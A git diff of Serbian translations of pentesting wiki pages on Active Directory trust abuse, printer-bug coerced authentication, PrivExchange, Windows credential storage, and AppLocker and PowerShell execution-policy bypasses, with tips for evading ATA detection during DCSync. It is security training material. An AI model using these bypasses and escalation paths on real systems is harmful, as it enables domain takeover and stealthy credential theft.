- **External Trusts**: Ove se postavljaju između različitih, nepovezanih domena i po prirodi su netransitivne. Prema [Microsoftovoj dokumentaciji](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), eksterni trustovi su korisni za pristup resursima u domenu izvan trenutne šume koji nije povezan šumskim poverenjem. Bezbednost se pojačava filtriranjem SID-a sa spoljnim poverenjima.
|
||||
- **Tree-root Trusts**: Ova poverenja se automatski uspostavljaju između korenskog domena šume i novododatog korena drveta. Iako se ne susreću često, poverenja korena drveta su važna za dodavanje novih domena drveća u šumu, omogućavajući im da zadrže jedinstveno ime domena i osiguravajući dvosmernu tranzitivnost. Više informacija možete pronaći u [Microsoftovom vodiču](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Forest Trusts**: Ova vrsta poverenja je dvosmerno tranzitivno poverenje između dva korenska domena šume, takođe primenjujući filtriranje SID-a kako bi se poboljšale mere bezbednosti.
|
||||
- **MIT Trusts**: Ova poverenja se uspostavljaju sa ne-Windows, [RFC4120-usaglasnim](https://tools.ietf.org/html/rfc4120) Kerberos domenima. MIT poverenja su malo specijalizovanija i prilagođena su okruženjima koja zahtevaju integraciju sa Kerberos-baziranim sistemima van Windows ekosistema.
|
||||
|
||||
#### Other differences in **trusting relationships**
|
||||
#### Ostale razlike u **odnosima poverenja**
|
||||
|
||||
- Odnos poverenja može biti **tranzitivan** (A poverava B, B poverava C, onda A poverava C) ili **netransitivan**.
|
||||
- Odnos poverenja može biti postavljen kao **dvosmerno poverenje** (oba se međusobno poveravaju) ili kao **jednostrano poverenje** (samo jedan od njih se poverava drugom).
|
||||
- Odnos poverenja može biti postavljen kao **bidirekcionalno poverenje** (oba se međusobno poveravaju) ili kao **jednostrano poverenje** (samo jedan od njih se poverava drugom).
|
||||
|
||||
### Attack Path
|
||||
|
||||
1. **Enumerate** odnose poverenja
|
||||
2. Proverite da li bilo koji **bezbednosni princip** (korisnik/grupa/računar) ima **pristup** resursima **drugog domena**, možda putem ACE unosa ili članstvom u grupama drugog domena. Potražite **odnose preko domena** (poverenje je verovatno stvoreno za ovo).
|
||||
2. Proverite da li bilo koji **bezbednosni princip** (korisnik/grupa/računar) ima **pristup** resursima **drugog domena**, možda putem ACE unosa ili tako što je u grupama drugog domena. Potražite **odnose preko domena** (poverenje je verovatno stvoreno za ovo).
|
||||
1. Kerberoast u ovom slučaju bi mogao biti još jedna opcija.
|
||||
3. **Kompromitujte** **naloge** koji mogu **prebaciti** između domena.
|
||||
3. **Kompromitujte** **naloge** koji mogu **preći** između domena.
|
||||
|
||||
Napadači bi mogli pristupiti resursima u drugom domenu putem tri osnovna mehanizma:
|
||||
|
||||
- **Članstvo u lokalnoj grupi**: Principi mogu biti dodati lokalnim grupama na mašinama, kao što je grupa “Administratori” na serveru, dajući im značajnu kontrolu nad tom mašinom.
|
||||
- **Članstvo u lokalnoj grupi**: Principi se mogu dodavati lokalnim grupama na mašinama, kao što je grupa "Administratori" na serveru, dajući im značajnu kontrolu nad tom mašinom.
|
||||
- **Članstvo u grupi stranog domena**: Principi takođe mogu biti članovi grupa unutar stranog domena. Međutim, efikasnost ove metode zavisi od prirode poverenja i obima grupe.
|
||||
- **Access Control Lists (ACLs)**: Principi mogu biti navedeni u **ACL**, posebno kao entiteti u **ACEs** unutar **DACL**, pružajući im pristup specifičnim resursima. Za one koji žele dublje da istraže mehaniku ACL-a, DACL-a i ACE-a, beleška pod nazivom “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” je neprocenjiv resurs.
|
||||
- **Access Control Lists (ACLs)**: Principi se mogu navesti u **ACL**, posebno kao entiteti u **ACEs** unutar **DACL**, pružajući im pristup specifičnim resursima. Za one koji žele dublje da istraže mehaniku ACL-a, DACL-a i ACE-a, beleška pod nazivom “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” je neprocenjiv resurs.
|
||||
|
||||
### Child-to-Parent forest privilege escalation
|
||||
```
|
||||
@ -582,11 +582,11 @@ sid-history-injection.md
|
||||
|
||||
#### Eksploatacija pisivog Configuration NC
|
||||
|
||||
Razumevanje kako se Configuration Naming Context (NC) može eksploatisati je ključno. Configuration NC služi kao centralni repozitorijum za podatke o konfiguraciji širom šume u Active Directory (AD) okruženjima. Ovi podaci se repliciraju na svaki Domain Controller (DC) unutar šume, pri čemu pisivi DC-ovi održavaju pisivu kopiju Configuration NC. Da bi se ovo eksploatisalo, potrebno je imati **SYSTEM privilegije na DC-u**, po mogućstvu na child DC-u.
|
||||
Razumevanje kako se Configuration Naming Context (NC) može eksploatisati je ključno. Configuration NC služi kao centralni repozitorijum za konfiguracione podatke širom šume u Active Directory (AD) okruženjima. Ovi podaci se repliciraju na svaki Domain Controller (DC) unutar šume, pri čemu pisivi DC-ovi održavaju pisivu kopiju Configuration NC. Da bi se ovo eksploatisalo, potrebno je imati **SYSTEM privilegije na DC-u**, po mogućstvu na child DC-u.
|
||||
|
||||
**Povezivanje GPO-a sa root DC lokacijom**
|
||||
|
||||
Kontejner lokacija Configuration NC sadrži informacije o svim računarima pridruženim domeni unutar AD šume. Operišući sa SYSTEM privilegijama na bilo kojem DC-u, napadači mogu povezati GPO-ove sa root DC lokacijama. Ova akcija potencijalno kompromituje root domen tako što manipuliše politikama primenjenim na ovim lokacijama.
|
||||
Kontejner lokacija Configuration NC uključuje informacije o svim računarima pridruženim domeni unutar AD šume. Operišući sa SYSTEM privilegijama na bilo kojem DC-u, napadači mogu povezati GPO-ove sa root DC lokacijama. Ova akcija potencijalno kompromituje root domen tako što manipuliše politikama primenjenim na ovim lokacijama.
|
||||
|
||||
Za detaljne informacije, može se istražiti istraživanje o [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
|
||||
@ -594,7 +594,7 @@ Za detaljne informacije, može se istražiti istraživanje o [Bypassing SID Filt
|
||||
|
||||
Vektor napada uključuje ciljanje privilegovanih gMSA unutar domena. KDS Root ključ, koji je ključan za izračunavanje lozinki gMSA, čuva se unutar Configuration NC. Sa SYSTEM privilegijama na bilo kojem DC-u, moguće je pristupiti KDS Root ključu i izračunati lozinke za bilo koji gMSA širom šume.
|
||||
|
||||
Detaljna analiza može se naći u diskusiji o [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
Detaljna analiza može se naći u raspravi o [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**Napad na promenu šeme**
|
||||
|
||||
@ -604,11 +604,11 @@ Dalje čitanje je dostupno o [Schema Change Trust Attacks](https://improsec.com/
|
||||
|
||||
**Od DA do EA sa ADCS ESC5**
|
||||
|
||||
ADCS ESC5 ranjivost cilja kontrolu nad objektima javne infrastrukture ključeva (PKI) kako bi se kreirala šablon sertifikata koji omogućava autentifikaciju kao bilo koji korisnik unutar šume. Kako PKI objekti borave u Configuration NC, kompromitovanje pisivog child DC-a omogućava izvršenje ESC5 napada.
|
||||
ADCS ESC5 ranjivost cilja kontrolu nad objektima javne infrastrukture ključeva (PKI) kako bi se kreirala šablon sertifikata koji omogućava autentifikaciju kao bilo koji korisnik unutar šume. Kako PKI objekti borave u Configuration NC, kompromitovanje pisivog child DC-a omogućava izvođenje ESC5 napada.
|
||||
|
||||
Više detalja o ovome može se pročitati u [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). U scenarijima bez ADCS, napadač ima mogućnost da postavi potrebne komponente, kao što je diskutovano u [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
Više detalja o ovome može se pročitati u [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). U scenarijima bez ADCS, napadač ima mogućnost da postavi potrebne komponente, kao što je objašnjeno u [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
### Eksterna šuma domena - Jednosmerna (ulazna) ili dvostrana
|
||||
### Eksterna šuma domena - Jednosmerno (ulazno) ili dvostrano
|
||||
```powershell
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
U ovoj situaciji **vaša domena je poverena** spoljašnjoj, što vam daje **neodređene dozvole** nad njom. Moraćete da pronađete **koji principi vaše domene imaju koji pristup spoljašnjoj domeni** i zatim pokušate da to iskoristite:
|
||||
U ovom scenariju **vaša domena je poverena** spoljašnjoj, što vam daje **neodređene dozvole** nad njom. Moraćete da pronađete **koji principi vaše domene imaju koji pristup spoljašnjoj domeni** i zatim pokušati da to iskoristite:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
@ -639,7 +639,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
U ovom scenariju **vaša domena** **pouzdava** neka **ovlašćenja** principalu iz **druge domene**.
|
||||
|
||||
Međutim, kada je **domena poverena** od strane poverene domene, poverena domena **kreira korisnika** sa **predvidljivim imenom** koji koristi kao **lozinku poverenu lozinku**. Što znači da je moguće **pristupiti korisniku iz poverene domene kako bi se ušlo u poverenu** da bi se enumerisalo i pokušalo da se eskalira više ovlašćenja:
|
||||
Međutim, kada je **domena poverena** od strane poverene domene, poverena domena **kreira korisnika** sa **predvidivim imenom** koji koristi kao **lozinku poverenu lozinku**. Što znači da je moguće **pristupiti korisniku iz poverene domene kako bi se ušlo u poverenu** da bi se enumerisalo i pokušalo da se eskalira više ovlašćenja:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
@ -670,7 +670,9 @@ rdp-sessions-abuse.md
|
||||
|
||||
## AD -> Azure & Azure -> AD
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity" %}
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
|
||||
{{#endref}}
|
||||
|
||||
## Neke Opšte Odbrane
|
||||
|
||||
@ -678,9 +680,9 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **Defanzivne mere za zaštitu kredencijala**
|
||||
|
||||
- **Ograničenja za Administratore Domeni**: Preporučuje se da Administratori Domeni mogu da se prijave samo na Kontrolere Domeni, izbegavajući njihovu upotrebu na drugim hostovima.
|
||||
- **Ovlašćenja Servisnog Računa**: Servisi ne bi trebali da se pokreću sa ovlašćenjima Administratora Domeni (DA) kako bi se održala sigurnost.
|
||||
- **Ograničenje Privilegija na Vreme**: Za zadatke koji zahtevaju DA privilegije, njihovo trajanje bi trebalo da bude ograničeno. To se može postići: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **Ograničenja za Administratore Domena**: Preporučuje se da Administratori Domena mogu da se prijave samo na Kontrolere Domena, izbegavajući njihovu upotrebu na drugim hostovima.
|
||||
- **Ovlašćenja Servisnih Računa**: Usluge ne bi trebalo da se pokreću sa ovlašćenjima Administratora Domena (DA) kako bi se održala bezbednost.
|
||||
- **Ograničenje Trajanja Ovlašćenja**: Za zadatke koji zahtevaju DA ovlašćenja, njihovo trajanje bi trebalo da bude ograničeno. To se može postići: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **Implementacija Tehnika Prevare**
|
||||
|
||||
@ -696,9 +698,9 @@ rdp-sessions-abuse.md
|
||||
### **Obilaženje Sistema Detekcije**
|
||||
|
||||
- **Obilaženje Microsoft ATA Detekcije**:
|
||||
- **Enumeracija Korisnika**: Izbegavanje enumeracije sesija na Kontrolerima Domeni kako bi se sprečila ATA detekcija.
|
||||
- **Enumeracija Korisnika**: Izbegavanje enumeracije sesija na Kontrolerima Domena kako bi se sprečila ATA detekcija.
|
||||
- **Impersonacija Tiketa**: Korišćenje **aes** ključeva za kreiranje tiketa pomaže u izbegavanju detekcije ne prebacujući se na NTLM.
|
||||
- **DCSync Napadi**: Preporučuje se izvršavanje sa non-Domain Controller-a kako bi se izbegla ATA detekcija, jer direktno izvršavanje sa Kontrolera Domeni izaziva upozorenja.
|
||||
- **DCSync Napadi**: Preporučuje se izvršavanje sa non-Domain Controller-a kako bi se izbegla ATA detekcija, jer direktno izvršavanje sa Kontrolera Domena izaziva upozorenja.
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -6,12 +6,12 @@
|
||||
|
||||
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) je **kolekcija** **okidača za daljinsku autentifikaciju** napisanih u C# koristeći MIDL kompajler kako bi se izbegle zavisnosti od trećih strana.
|
||||
|
||||
## Zloupotreba Spooler Servisa
|
||||
## Spooler Service Abuse
|
||||
|
||||
Ako je _**Print Spooler**_ servis **omogućen,** možete koristiti neke već poznate AD akreditive da **zatražite** od štampačkog servera domen kontrolera **ažuriranje** o novim poslovima štampe i jednostavno mu reći da **pošalje obaveštenje nekom sistemu**.\
|
||||
Ako je _**Print Spooler**_ servis **omogućen,** možete koristiti neke već poznate AD akreditive da **zatražite** od štampača na kontroleru domena **ažuriranje** o novim poslovima štampe i jednostavno mu reći da **pošalje obaveštenje nekom sistemu**.\
|
||||
Napomena: kada štampač pošalje obaveštenje nekom proizvoljnom sistemu, mora da se **autentifikuje** protiv tog **sistema**. Stoga, napadač može naterati _**Print Spooler**_ servis da se autentifikuje protiv proizvoljnog sistema, a servis će **koristiti račun računara** u ovoj autentifikaciji.
|
||||
|
||||
### Pronalaženje Windows Servera na domenu
|
||||
### Finding Windows Servers on the domain
|
||||
|
||||
Koristeći PowerShell, dobijte listu Windows mašina. Serveri su obično prioritet, pa hajde da se fokusiramo na njih:
|
||||
```bash
|
||||
@ -28,7 +28,7 @@ Možete takođe koristiti rpcdump.py na Linux-u i tražiti MS-RPRN protokol.
|
||||
```bash
|
||||
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
|
||||
```
|
||||
### Zatražite od usluge da se autentifikuje protiv proizvoljnog hosta
|
||||
### Zatražite od servisa da se autentifikuje protiv proizvoljnog hosta
|
||||
|
||||
Možete kompajlirati[ **SpoolSample odavde**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.**
|
||||
```bash
|
||||
@ -45,13 +45,15 @@ Ako je napadač već kompromitovao računar sa [Neograničenom Delegacijom](unco
|
||||
|
||||
## RCP Prisilna autentifikacija
|
||||
|
||||
{% embed url="https://github.com/p0dalirius/Coercer" %}
|
||||
{{#ref}}
|
||||
https://github.com/p0dalirius/Coercer
|
||||
{{#endref}}
|
||||
|
||||
## PrivExchange
|
||||
|
||||
Napad `PrivExchange` je rezultat greške pronađene u **Exchange Server `PushSubscription` funkciji**. Ova funkcija omogućava da Exchange server bude primoran od strane bilo kog korisnika domena sa poštanskim sandučetom da se autentifikuje na bilo kojem hostu koji obezbeđuje klijent preko HTTP-a.
|
||||
Napad `PrivExchange` je rezultat greške pronađene u **Exchange Server `PushSubscription` funkciji**. Ova funkcija omogućava da bilo koji korisnik domena sa poštanskim sandučetom natera Exchange server da se autentifikuje na bilo kojem hostu koji obezbeđuje klijent preko HTTP-a.
|
||||
|
||||
Podrazumevano, **Exchange servis radi kao SYSTEM** i ima prekomerne privilegije (konkretno, ima **WriteDacl privilegije na domen pre-2019 Kumulativna Ažuriranja**). Ova greška se može iskoristiti za omogućavanje **preusmeravanja informacija na LDAP i naknadno izvlačenje NTDS baze podataka domena**. U slučajevima kada preusmeravanje na LDAP nije moguće, ova greška se i dalje može koristiti za preusmeravanje i autentifikaciju na druge hostove unutar domena. Uspešna eksploatacija ovog napada omogućava trenutni pristup Administraciji Domenom sa bilo kojim autentifikovanim korisničkim nalogom domena.
|
||||
Podrazumevano, **Exchange servis radi kao SYSTEM** i ima prekomerne privilegije (specifično, ima **WriteDacl privilegije na domen pre-2019 Kumulativna Ažuriranja**). Ova greška se može iskoristiti za omogućavanje **preusmeravanja informacija na LDAP i naknadno vađenje NTDS baze podataka domena**. U slučajevima kada preusmeravanje na LDAP nije moguće, ova greška se i dalje može koristiti za preusmeravanje i autentifikaciju na druge hostove unutar domena. Uspešna eksploatacija ovog napada omogućava trenutni pristup Administraciji Domenom sa bilo kojim autentifikovanim korisničkim nalogom domena.
|
||||
|
||||
## Unutar Windows-a
|
||||
|
||||
@ -103,6 +105,6 @@ Ako možete da izvršite MitM napad na računar i ubacite HTML u stranicu koju
|
||||
## Kršenje NTLMv1
|
||||
|
||||
Ako možete da uhvatite [NTLMv1 izazove pročitajte ovde kako da ih slomite](../ntlm/#ntlmv1-attack).\
|
||||
&#xNAN;_Rzapamtite da da biste slomili NTLMv1 morate postaviti Responder izazov na "1122334455667788"_
|
||||
&#xNAN;_Remember da biste slomili NTLMv1 morate postaviti Responder izazov na "1122334455667788"_
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -65,7 +65,7 @@ LSA može sačuvati na disku neke kredencijale:
|
||||
|
||||
### NTDS.dit
|
||||
|
||||
To je baza podataka Active Directory. Prisutna je samo u Kontrolerima domena.
|
||||
To je baza podataka Active Directory. Prisutna je samo na Kontrolerima domena.
|
||||
|
||||
## Defender
|
||||
|
||||
@ -103,7 +103,7 @@ sc query windefend
|
||||
```
|
||||
## Encrypted File System (EFS)
|
||||
|
||||
EFS osigurava datoteke putem enkripcije, koristeći **simetrični ključ** poznat kao **Ključ za enkripciju datoteka (FEK)**. Ovaj ključ je enkriptovan korisnikovim **javnim ključem** i smešten unutar $EFS **alternativnog toka podataka** enkriptovane datoteke. Kada je potrebna dekripcija, koristi se odgovarajući **privatni ključ** korisničkog digitalnog sertifikata za dekripciju FEK-a iz $EFS toka. Više detalja možete pronaći [ovde](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
EFS obezbeđuje datoteke putem enkripcije, koristeći **simetrični ključ** poznat kao **Ključ za enkripciju datoteka (FEK)**. Ovaj ključ je enkriptovan korisnikovim **javnim ključem** i smešten unutar $EFS **alternativnog toka podataka** enkriptovane datoteke. Kada je potrebna dekripcija, koristi se odgovarajući **privatni ključ** korisničkog digitalnog sertifikata za dekripciju FEK-a iz $EFS toka. Više detalja možete pronaći [ovde](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
|
||||
**Scenariji dekripcije bez inicijacije korisnika** uključuju:
|
||||
|
||||
@ -130,23 +130,25 @@ Takođe možete koristiti `cipher /e` i `cipher /d` unutar fascikle da **enkript
|
||||
|
||||
#### Biti Autoritet Sistem
|
||||
|
||||
Ovaj način zahteva da **žrtva korisnik** bude **pokrenut** u **procesu** unutar hosta. Ako je to slučaj, koristeći `meterpreter` sesije možete imitirati token procesa korisnika (`impersonate_token` iz `incognito`). Ili možete jednostavno `migrirati` u proces korisnika.
|
||||
Ovaj način zahteva da **žrtva korisnik** bude **pokrenut** u **procesu** unutar hosta. Ako je to slučaj, koristeći `meterpreter` sesije možete imitirati token procesa korisnika (`impersonate_token` iz `incognito`). Ili možete jednostavno `migrate` u proces korisnika.
|
||||
|
||||
#### Poznavanje lozinke korisnika
|
||||
|
||||
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
|
||||
{{#ref}}
|
||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
{{#endref}}
|
||||
|
||||
## Group Managed Service Accounts (gMSA)
|
||||
|
||||
Microsoft je razvio **Group Managed Service Accounts (gMSA)** kako bi pojednostavio upravljanje servisnim nalozima u IT infrastrukturnim sistemima. Za razliku od tradicionalnih servisnih naloga koji često imaju podešavanje "**Lozinka nikada ne ističe**" omogućeno, gMSA nude sigurnije i upravljivije rešenje:
|
||||
|
||||
- **Automatsko upravljanje lozinkama**: gMSA koriste složenu, 240-karakternu lozinku koja se automatski menja prema politici domena ili računara. Ovaj proces se obavlja putem Microsoftove usluge za distribuciju ključeva (KDC), eliminišući potrebu za ručnim ažuriranjima lozinki.
|
||||
- **Automatsko upravljanje lozinkama**: gMSA koriste složenu, 240-karakternu lozinku koja se automatski menja u skladu sa politikom domena ili računara. Ovaj proces se obavlja putem Microsoftove usluge za distribuciju ključeva (KDC), eliminišući potrebu za ručnim ažuriranjima lozinki.
|
||||
- **Povećana sigurnost**: Ovi nalozi su imuni na zaključavanje i ne mogu se koristiti za interaktivna prijavljivanja, čime se povećava njihova sigurnost.
|
||||
- **Podrška za više hostova**: gMSA se mogu deliti između više hostova, što ih čini idealnim za usluge koje se pokreću na više servera.
|
||||
- **Podrška za više hostova**: gMSA se mogu deliti između više hostova, što ih čini idealnim za usluge koje se izvode na više servera.
|
||||
- **Mogućnost zakazanih zadataka**: Za razliku od upravljanih servisnih naloga, gMSA podržavaju pokretanje zakazanih zadataka.
|
||||
- **Pojednostavljeno upravljanje SPN-om**: Sistem automatski ažurira Ime servisnog glavnog imena (SPN) kada dođe do promena u detaljima sAMaccount-a računara ili DNS imenu, pojednostavljujući upravljanje SPN-om.
|
||||
- **Pojednostavljeno upravljanje SPN-om**: Sistem automatski ažurira Ime servisnog principala (SPN) kada dođe do promena u detaljima sAMaccount-a računara ili DNS imenu, pojednostavljujući upravljanje SPN-om.
|
||||
|
||||
Lozinke za gMSA se čuvaju u LDAP svojstvu _**msDS-ManagedPassword**_ i automatski se resetuju svake 30 dana od strane kontrolera domena (DC). Ova lozinka, enkriptovani podatkovni blob poznat kao [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), može se preuzeti samo od strane ovlašćenih administratora i servera na kojima su gMSA instalirani, osiguravajući sigurno okruženje. Da biste pristupili ovim informacijama, potrebna je sigurna veza kao što je LDAPS, ili veza mora biti autentifikovana sa 'Sealing & Secure'.
|
||||
Lozinke za gMSA se čuvaju u LDAP svojstvu _**msDS-ManagedPassword**_ i automatski se resetuju svake 30 dana od strane kontrolera domena (DC). Ova lozinka, enkriptovani podatkovni blob poznat kao [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), može se dobiti samo od strane ovlašćenih administratora i servera na kojima su gMSA instalirani, obezbeđujući sigurno okruženje. Da biste pristupili ovim informacijama, potrebna je sigurna veza kao što je LDAPS, ili veza mora biti autentifikovana sa 'Sealing & Secure'.
|
||||
|
||||

|
||||
|
||||
@ -160,7 +162,7 @@ Takođe, proverite ovu [web stranicu](https://cube0x0.github.io/Relaying-for-gMS
|
||||
|
||||
## LAPS
|
||||
|
||||
**Rešenje za lozinku lokalnog administratora (LAPS)**, dostupno za preuzimanje sa [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), omogućava upravljanje lozinkama lokalnih administratora. Ove lozinke, koje su **nasumične**, jedinstvene i **redovno menjane**, čuvaju se centralno u Active Directory. Pristup ovim lozinkama je ograničen putem ACL-a na ovlašćene korisnike. Uz dodeljene dovoljne dozvole, omogućena je mogućnost čitanja lozinki lokalnih administratora.
|
||||
**Rešenje za lozinku lokalnog administratora (LAPS)**, dostupno za preuzimanje sa [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), omogućava upravljanje lozinkama lokalnog administratora. Ove lozinke, koje su **nasumične**, jedinstvene i **redovno menjane**, čuvaju se centralno u Active Directory. Pristup ovim lozinkama je ograničen putem ACL-a na ovlašćene korisnike. Uz dodeljene dovoljne dozvole, omogućena je mogućnost čitanja lozinki lokalnog administratora.
|
||||
|
||||
{{#ref}}
|
||||
active-directory-methodology/laps.md
|
||||
@ -180,8 +182,8 @@ $ExecutionContext.SessionState.LanguageMode
|
||||
#Easy bypass
|
||||
Powershell -version 2
|
||||
```
|
||||
U trenutnom Windows-u ta zaobilaženje neće raditi, ali možete koristiti [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
**Da biste ga kompajlirali, možda će vam biti potrebno** **da** _**dodate referencu**_ -> _Pretraži_ -> _Pretraži_ -> dodajte `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` i **promenite projekat na .Net4.5**.
|
||||
U trenutnom Windows-u ta zaobilaženja neće raditi, ali možete koristiti [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
**Da biste ga kompajlirali, možda ćete morati** **da** _**dodate referencu**_ -> _Pretraži_ -> _Pretraži_ -> dodajte `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` i **promenite projekat na .Net4.5**.
|
||||
|
||||
#### Direktno zaobilaženje:
|
||||
```bash
|
||||
@ -215,7 +217,7 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
|
||||
9º Use EncodeCommand
|
||||
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
|
||||
```
|
||||
Više informacija se može naći [ovde](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
|
||||
Više informacija možete pronaći [ovde](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
|
||||
|
||||
## Interfejs za podršku bezbednosti (SSPI)
|
||||
|
||||
|
@ -20,7 +20,7 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
|
||||
$a = Get-ApplockerPolicy -effective
|
||||
$a.rulecollections
|
||||
```
|
||||
Ova putanja u registru sadrži konfiguracije i politike koje primenjuje AppLocker, pružajući način za pregled trenutnog skupa pravila koja se primenjuju na sistemu:
|
||||
Ova putanja registra sadrži konfiguracije i politike koje primenjuje AppLocker, pružajući način za pregled trenutnog skupa pravila koja se primenjuju na sistemu:
|
||||
|
||||
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
|
||||
|
||||
@ -40,21 +40,21 @@ C:\windows\tracing
|
||||
- **DLL enforcement veoma retko omogućen** zbog dodatnog opterećenja koje može staviti na sistem, i količine testiranja potrebnog da se osigura da ništa neće prestati da funkcioniše. Tako da korišćenje **DLL-ova kao backdoor-a će pomoći u zaobilaženju AppLocker-a**.
|
||||
- Možete koristiti [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) da **izvršite Powershell** kod u bilo kojem procesu i zaobiđete AppLocker. Za više informacija pogledajte: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
|
||||
## Credentials Storage
|
||||
## Skladištenje kredencijala
|
||||
|
||||
### Security Accounts Manager (SAM)
|
||||
### Menadžer sigurnosnih naloga (SAM)
|
||||
|
||||
Lokalne kredencijale su prisutne u ovoj datoteci, lozinke su hash-ovane.
|
||||
Lokalni kredencijali su prisutni u ovoj datoteci, lozinke su hash-ovane.
|
||||
|
||||
### Local Security Authority (LSA) - LSASS
|
||||
### Lokalna sigurnosna vlast (LSA) - LSASS
|
||||
|
||||
**Kredencijali** (hash-ovani) su **sačuvani** u **memoriji** ovog podsistema iz razloga Jedinstvenog Prijavljivanja.\
|
||||
**LSA** upravlja lokalnom **bezbednosnom politikom** (politika lozinki, dozvole korisnika...), **autentifikacijom**, **tokenima pristupa**...\
|
||||
**LSA** upravlja lokalnom **sigurnosnom politikom** (politika lozinki, dozvole korisnika...), **autentifikacijom**, **tokenima pristupa**...\
|
||||
LSA će biti ta koja će **proveriti** date kredencijale unutar **SAM** datoteke (za lokalno prijavljivanje) i **komunicirati** sa **kontrolerom domena** da autentifikuje korisnika domena.
|
||||
|
||||
**Kredencijali** su **sačuvani** unutar **procesa LSASS**: Kerberos karte, NT i LM hash-ovi, lako dekriptovane lozinke.
|
||||
|
||||
### LSA secrets
|
||||
### LSA tajne
|
||||
|
||||
LSA može sačuvati na disku neke kredencijale:
|
||||
|
||||
@ -65,15 +65,15 @@ LSA može sačuvati na disku neke kredencijale:
|
||||
|
||||
### NTDS.dit
|
||||
|
||||
To je baza podataka Active Directory. Prisutna je samo u Kontrolerima domena.
|
||||
To je baza podataka Active Directory. Prisutna je samo u kontrolerima domena.
|
||||
|
||||
## Defender
|
||||
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) je antivirus koji je dostupan u Windows 10 i Windows 11, i u verzijama Windows Server-a. **Blokira** uobičajene pentesting alate kao što je **`WinPEAS`**. Međutim, postoje načini da se **zaobiđu ove zaštite**.
|
||||
|
||||
### Check
|
||||
### Provera
|
||||
|
||||
